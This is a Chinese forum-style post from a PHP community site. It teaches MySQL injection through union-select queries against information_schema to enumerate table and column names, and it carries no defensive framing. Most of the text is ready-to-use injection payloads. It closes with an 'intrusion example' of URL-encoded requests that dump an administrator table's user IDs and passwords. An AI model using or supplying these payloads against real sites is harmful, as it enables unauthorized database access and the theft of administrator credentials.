10赞
882
当前位置:  开发笔记 > 编程语言 > 正文

php+MySql注入非暴力爆字段名

MySql数据库的版本够了,不需要暴力猜表的,而是“查”表表可以爆了,出来了,字段出不来怎么办?其实字段也可以查出查表段时的格式是: +unionselect1,2,3,table

MySql数据库的版本够了,不需要暴力猜表的,而是“查”表


表可以爆了,出来了,字段出不来怎么办?其实字段也可以查出

查表段时的格式是:








 

+union select 1,2,3,table_name from (select * from

information_schema.tables where table_schema=数据库名字的hex order by

table_schema limit 6,7)t limit 1--


那么,查字段的格式就是:








 

+union select 1,2,column_name from (select * from

information_schema.columns where table_name=爆出来的表名的hex值 and

table_schema=数据库名的hex值 order by 1 limit 2,3)t limit 1--


与爆表类似

在最后一个limit 6,7很明显是范围,从0,1、1,2、2,3、3,4的这么查下去就可以了,直到查出来想要的表名


看一个入侵实例:

本帖隐藏的内容需要回复才可以浏览

爆表:








 

http://site/newinfo.php?id=125+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10+from+(select+*+from+information_schema.tables+where+table_schema=0x796B7873676F76+order+by+table_schema+limit+0,1)t+limit+1--


爆字:








http://site/jg_view.php?id=141+and+1=2+union+select+1,2,column_name,4,5+from+(select+*+from+information_schema.columns+where+table_name=0x61646D696E6973747261746F72+and+table_schema=0x796B7873676F76+order+by+1+limit+2,3)t+limit+1-- 


使用前面爆出来的:








  http://site/jg_view.php?id=141+and+1=2+union+select+1,2,3,4,concat(uid,0x5f,pwd)+from+administrator


推荐阅读
author-avatar
YYCC77777
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有